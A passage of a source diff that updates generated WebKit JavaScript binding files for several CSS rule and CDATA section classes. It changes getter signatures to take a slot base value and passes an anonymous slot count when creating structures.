+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCDATASectionConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -73,7 +73,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -135,9 +135,9 @@ bool JSCDATASection::getOwnPropertyDescriptor(ExecState* exec, const Identifier&
     return getStaticValueDescriptor<JSCDATASection, Base>(exec, &JSCDATASectionTable, this, propertyName, descriptor);
 }
 
-JSValue jsCDATASectionConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCDATASectionConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCDATASection* domObject = static_cast<JSCDATASection*>(asObject(slot.slotBase()));
+    JSCDATASection* domObject = static_cast<JSCDATASection*>(asObject(slotBase));
     return JSCDATASection::getConstructor(exec, domObject->globalObject());
 }
 JSValue JSCDATASection::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCDATASection.h b/src/3rdparty/webkit/WebCore/generated/JSCDATASection.h
index 80b824c..05d74f4 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCDATASection.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSCDATASection.h
@@ -39,7 +39,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -57,7 +57,7 @@ public:
     static const JSC::ClassInfo s_info;
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCDATASectionPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -66,7 +66,7 @@ protected:
 
 // Attributes
 
-JSC::JSValue jsCDATASectionConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCDATASectionConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSCharsetRule.cpp b/src/3rdparty/webkit/WebCore/generated/JSCSSCharsetRule.cpp
index 52c01c7..516dd6b 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSCharsetRule.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSCharsetRule.cpp
@@ -35,8 +35,8 @@ ASSERT_CLASS_FITS_IN_CELL(JSCSSCharsetRule);
 
 static const HashTableValue JSCSSCharsetRuleTableValues[3] =
 {
-    { "encoding", DontDelete, (intptr_t)jsCSSCharsetRuleEncoding, (intptr_t)setJSCSSCharsetRuleEncoding },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsCSSCharsetRuleConstructor, (intptr_t)0 },
+    { "encoding", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSCharsetRuleEncoding), (intptr_t)setJSCSSCharsetRuleEncoding },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSCharsetRuleConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -75,7 +75,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -137,17 +137,18 @@ bool JSCSSCharsetRule::getOwnPropertyDescriptor(ExecState* exec, const Identifie
     return getStaticValueDescriptor<JSCSSCharsetRule, Base>(exec, &JSCSSCharsetRuleTable, this, propertyName, descriptor);
 }
 
-JSValue jsCSSCharsetRuleEncoding(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSCharsetRuleEncoding(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSCharsetRule* castedThis = static_cast<JSCSSCharsetRule*>(asObject(slot.slotBase()));
+    JSCSSCharsetRule* castedThis = static_cast<JSCSSCharsetRule*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSCharsetRule* imp = static_cast<CSSCharsetRule*>(castedThis->impl());
-    return jsStringOrNull(exec, imp->encoding());
+    JSValue result = jsStringOrNull(exec, imp->encoding());
+    return result;
 }
 
-JSValue jsCSSCharsetRuleConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSCharsetRuleConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSCharsetRule* domObject = static_cast<JSCSSCharsetRule*>(asObject(slot.slotBase()));
+    JSCSSCharsetRule* domObject = static_cast<JSCSSCharsetRule*>(asObject(slotBase));
     return JSCSSCharsetRule::getConstructor(exec, domObject->globalObject());
 }
 void JSCSSCharsetRule::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
@@ -157,7 +158,8 @@ void JSCSSCharsetRule::put(ExecState* exec, const Identifier& propertyName, JSVa
 
 void setJSCSSCharsetRuleEncoding(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    CSSCharsetRule* imp = static_cast<CSSCharsetRule*>(static_cast<JSCSSCharsetRule*>(thisObject)->impl());
+    JSCSSCharsetRule* castedThisObj = static_cast<JSCSSCharsetRule*>(thisObject);
+    CSSCharsetRule* imp = static_cast<CSSCharsetRule*>(castedThisObj->impl());
     ExceptionCode ec = 0;
     imp->setEncoding(valueToStringWithNullCheck(exec, value), ec);
     setDOMException(exec, ec);
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSCharsetRule.h b/src/3rdparty/webkit/WebCore/generated/JSCSSCharsetRule.h
index 971cfb1..e0a8245 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSCharsetRule.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSCharsetRule.h
@@ -40,7 +40,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -57,7 +57,7 @@ public:
     static const JSC::ClassInfo s_info;
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCSSCharsetRulePrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -66,9 +66,9 @@ protected:
 
 // Attributes
 
-JSC::JSValue jsCSSCharsetRuleEncoding(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSCharsetRuleEncoding(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSCSSCharsetRuleEncoding(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsCSSCharsetRuleConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSCharsetRuleConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSFontFaceRule.cpp b/src/3rdparty/webkit/WebCore/generated/JSCSSFontFaceRule.cpp
index 012e437..dccbab4 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSFontFaceRule.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSFontFaceRule.cpp
@@ -37,8 +37,8 @@ ASSERT_CLASS_FITS_IN_CELL(JSCSSFontFaceRule);
 
 static const HashTableValue JSCSSFontFaceRuleTableValues[3] =
 {
-    { "style", DontDelete|ReadOnly, (intptr_t)jsCSSFontFaceRuleStyle, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsCSSFontFaceRuleConstructor, (intptr_t)0 },
+    { "style", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSFontFaceRuleStyle), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSFontFaceRuleConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -77,7 +77,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -139,17 +139,18 @@ bool JSCSSFontFaceRule::getOwnPropertyDescriptor(ExecState* exec, const Identifi
     return getStaticValueDescriptor<JSCSSFontFaceRule, Base>(exec, &JSCSSFontFaceRuleTable, this, propertyName, descriptor);
 }
 
-JSValue jsCSSFontFaceRuleStyle(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSFontFaceRuleStyle(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSFontFaceRule* castedThis = static_cast<JSCSSFontFaceRule*>(asObject(slot.slotBase()));
+    JSCSSFontFaceRule* castedThis = static_cast<JSCSSFontFaceRule*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSFontFaceRule* imp = static_cast<CSSFontFaceRule*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->style()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->style()));
+    return result;
 }
 
-JSValue jsCSSFontFaceRuleConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSFontFaceRuleConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSFontFaceRule* domObject = static_cast<JSCSSFontFaceRule*>(asObject(slot.slotBase()));
+    JSCSSFontFaceRule* domObject = static_cast<JSCSSFontFaceRule*>(asObject(slotBase));
     return JSCSSFontFaceRule::getConstructor(exec, domObject->globalObject());
 }
 JSValue JSCSSFontFaceRule::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSFontFaceRule.h b/src/3rdparty/webkit/WebCore/generated/JSCSSFontFaceRule.h
index 6a6acb2..8e5b69b 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSFontFaceRule.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSFontFaceRule.h
@@ -39,7 +39,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -56,7 +56,7 @@ public:
     static const JSC::ClassInfo s_info;
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCSSFontFaceRulePrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -65,8 +65,8 @@ protected:
 
 // Attributes
 
-JSC::JSValue jsCSSFontFaceRuleStyle(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSFontFaceRuleConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSFontFaceRuleStyle(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSFontFaceRuleConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSImportRule.cpp b/src/3rdparty/webkit/WebCore/generated/JSCSSImportRule.cpp
index e3ae983..6589147 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSImportRule.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSImportRule.cpp
@@ -39,10 +39,10 @@ ASSERT_CLASS_FITS_IN_CELL(JSCSSImportRule);
 
 static const HashTableValue JSCSSImportRuleTableValues[5] =
 {
-    { "href", DontDelete|ReadOnly, (intptr_t)jsCSSImportRuleHref, (intptr_t)0 },
-    { "media", DontDelete|ReadOnly, (intptr_t)jsCSSImportRuleMedia, (intptr_t)0 },
-    { "styleSheet", DontDelete|ReadOnly, (intptr_t)jsCSSImportRuleStyleSheet, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsCSSImportRuleConstructor, (intptr_t)0 },
+    { "href", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSImportRuleHref), (intptr_t)0 },
+    { "media", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSImportRuleMedia), (intptr_t)0 },
+    { "styleSheet", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSImportRuleStyleSheet), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSImportRuleConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -81,7 +81,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -143,33 +143,36 @@ bool JSCSSImportRule::getOwnPropertyDescriptor(ExecState* exec, const Identifier
     return getStaticValueDescriptor<JSCSSImportRule, Base>(exec, &JSCSSImportRuleTable, this, propertyName, descriptor);
 }
 
-JSValue jsCSSImportRuleHref(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSImportRuleHref(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSImportRule* castedThis = static_cast<JSCSSImportRule*>(asObject(slot.slotBase()));
+    JSCSSImportRule* castedThis = static_cast<JSCSSImportRule*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSImportRule* imp = static_cast<CSSImportRule*>(castedThis->impl());
-    return jsStringOrNull(exec, imp->href());
+    JSValue result = jsStringOrNull(exec, imp->href());
+    return result;
 }
 
-JSValue jsCSSImportRuleMedia(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSImportRuleMedia(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSImportRule* castedThis = static_cast<JSCSSImportRule*>(asObject(slot.slotBase()));
+    JSCSSImportRule* castedThis = static_cast<JSCSSImportRule*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSImportRule* imp = static_cast<CSSImportRule*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->media()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->media()));
+    return result;
 }
 
-JSValue jsCSSImportRuleStyleSheet(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSImportRuleStyleSheet(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSImportRule* castedThis = static_cast<JSCSSImportRule*>(asObject(slot.slotBase()));
+    JSCSSImportRule* castedThis = static_cast<JSCSSImportRule*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSImportRule* imp = static_cast<CSSImportRule*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->styleSheet()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->styleSheet()));
+    return result;
 }
 
-JSValue jsCSSImportRuleConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSImportRuleConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSImportRule* domObject = static_cast<JSCSSImportRule*>(asObject(slot.slotBase()));
+    JSCSSImportRule* domObject = static_cast<JSCSSImportRule*>(asObject(slotBase));
     return JSCSSImportRule::getConstructor(exec, domObject->globalObject());
 }
 JSValue JSCSSImportRule::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSImportRule.h b/src/3rdparty/webkit/WebCore/generated/JSCSSImportRule.h
index 14e289a..2db5698 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSImportRule.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSImportRule.h
@@ -39,7 +39,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -56,7 +56,7 @@ public:
     static const JSC::ClassInfo s_info;
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCSSImportRulePrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -65,10 +65,10 @@ protected:
 
 // Attributes
 
-JSC::JSValue jsCSSImportRuleHref(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSImportRuleMedia(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSImportRuleStyleSheet(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSImportRuleConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSImportRuleHref(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSImportRuleMedia(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSImportRuleStyleSheet(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSImportRuleConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSMediaRule.cpp b/src/3rdparty/webkit/WebCore/generated/JSCSSMediaRule.cpp
index fbb26e8..b7999b8 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSMediaRule.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSMediaRule.cpp
@@ -40,9 +40,9 @@ ASSERT_CLASS_FITS_IN_CELL(JSCSSMediaRule);
 
 static const HashTableValue JSCSSMediaRuleTableValues[4] =
 {
-    { "media", DontDelete|ReadOnly, (intptr_t)jsCSSMediaRuleMedia, (intptr_t)0 },
-    { "cssRules", DontDelete|ReadOnly, (intptr_t)jsCSSMediaRuleCssRules, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsCSSMediaRuleConstructor, (intptr_t)0 },
+    { "media", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSMediaRuleMedia), (intptr_t)0 },
+    { "cssRules", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSMediaRuleCssRules), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSMediaRuleConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -81,7 +81,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -104,8 +104,8 @@ bool JSCSSMediaRuleConstructor::getOwnPropertyDescriptor(ExecState* exec, const
 
 static const HashTableValue JSCSSMediaRulePrototypeTableValues[3] =
 {
-    { "insertRule", DontDelete|Function, (intptr_t)jsCSSMediaRulePrototypeFunctionInsertRule, (intptr_t)2 },
-    { "deleteRule", DontDelete|Function, (intptr_t)jsCSSMediaRulePrototypeFunctionDeleteRule, (intptr_t)1 },
+    { "insertRule", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSMediaRulePrototypeFunctionInsertRule), (intptr_t)2 },
+    { "deleteRule", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSMediaRulePrototypeFunctionDeleteRule), (intptr_t)1 },
     { 0, 0, 0, 0 }
 };
 
@@ -155,25 +155,27 @@ bool JSCSSMediaRule::getOwnPropertyDescriptor(ExecState* exec, const Identifier&
     return getStaticValueDescriptor<JSCSSMediaRule, Base>(exec, &JSCSSMediaRuleTable, this, propertyName, descriptor);
 }
 
-JSValue jsCSSMediaRuleMedia(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSMediaRuleMedia(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSMediaRule* castedThis = static_cast<JSCSSMediaRule*>(asObject(slot.slotBase()));
+    JSCSSMediaRule* castedThis = static_cast<JSCSSMediaRule*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSMediaRule* imp = static_cast<CSSMediaRule*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->media()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->media()));
+    return result;
 }
 
-JSValue jsCSSMediaRuleCssRules(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSMediaRuleCssRules(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSMediaRule* castedThis = static_cast<JSCSSMediaRule*>(asObject(slot.slotBase()));
+    JSCSSMediaRule* castedThis = static_cast<JSCSSMediaRule*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSMediaRule* imp = static_cast<CSSMediaRule*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->cssRules()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->cssRules()));
+    return result;
 }
 
-JSValue jsCSSMediaRuleConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSMediaRuleConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSMediaRule* domObject = static_cast<JSCSSMediaRule*>(asObject(slot.slotBase()));
+    JSCSSMediaRule* domObject = static_cast<JSCSSMediaRule*>(asObject(slotBase));
     return JSCSSMediaRule::getConstructor(exec, domObject->globalObject());
 }
 JSValue JSCSSMediaRule::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSMediaRule.h b/src/3rdparty/webkit/WebCore/generated/JSCSSMediaRule.h
index 225e70a..04f64b2 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSMediaRule.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSMediaRule.h
@@ -39,7 +39,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -58,7 +58,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCSSMediaRulePrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -71,9 +71,9 @@ JSC::JSValue JSC_HOST_CALL jsCSSMediaRulePrototypeFunctionInsertRule(JSC::ExecSt
 JSC::JSValue JSC_HOST_CALL jsCSSMediaRulePrototypeFunctionDeleteRule(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsCSSMediaRuleMedia(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSMediaRuleCssRules(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSMediaRuleConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSMediaRuleMedia(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSMediaRuleCssRules(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSMediaRuleConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSPageRule.cpp b/src/3rdparty/webkit/WebCore/generated/JSCSSPageRule.cpp
index b1da3b9..a6b5c7d 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSPageRule.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSPageRule.cpp
@@ -38,9 +38,9 @@ ASSERT_CLASS_FITS_IN_CELL(JSCSSPageRule);
 
 static const HashTableValue JSCSSPageRuleTableValues[4] =
 {
-    { "selectorText", DontDelete, (intptr_t)jsCSSPageRuleSelectorText, (intptr_t)setJSCSSPageRuleSelectorText },
-    { "style", DontDelete|ReadOnly, (intptr_t)jsCSSPageRuleStyle, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsCSSPageRuleConstructor, (intptr_t)0 },
+    { "selectorText", DontDelete, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPageRuleSelectorText), (intptr_t)setJSCSSPageRuleSelectorText },
+    { "style", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPageRuleStyle), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPageRuleConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -79,7 +79,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -141,25 +141,27 @@ bool JSCSSPageRule::getOwnPropertyDescriptor(ExecState* exec, const Identifier&
     return getStaticValueDescriptor<JSCSSPageRule, Base>(exec, &JSCSSPageRuleTable, this, propertyName, descriptor);
 }
 
-JSValue jsCSSPageRuleSelectorText(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSPageRuleSelectorText(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSPageRule* castedThis = static_cast<JSCSSPageRule*>(asObject(slot.slotBase()));
+    JSCSSPageRule* castedThis = static_cast<JSCSSPageRule*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSPageRule* imp = static_cast<CSSPageRule*>(castedThis->impl());
-    return jsStringOrNull(exec, imp->selectorText());
+    JSValue result = jsStringOrNull(exec, imp->selectorText());
+    return result;
 }
 
-JSValue jsCSSPageRuleStyle(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSPageRuleStyle(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSPageRule* castedThis = static_cast<JSCSSPageRule*>(asObject(slot.slotBase()));
+    JSCSSPageRule* castedThis = static_cast<JSCSSPageRule*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSPageRule* imp = static_cast<CSSPageRule*>(castedThis->impl());
-    return toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->style()));
+    JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(imp->style()));
+    return result;
 }
 
-JSValue jsCSSPageRuleConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSPageRuleConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSPageRule* domObject = static_cast<JSCSSPageRule*>(asObject(slot.slotBase()));
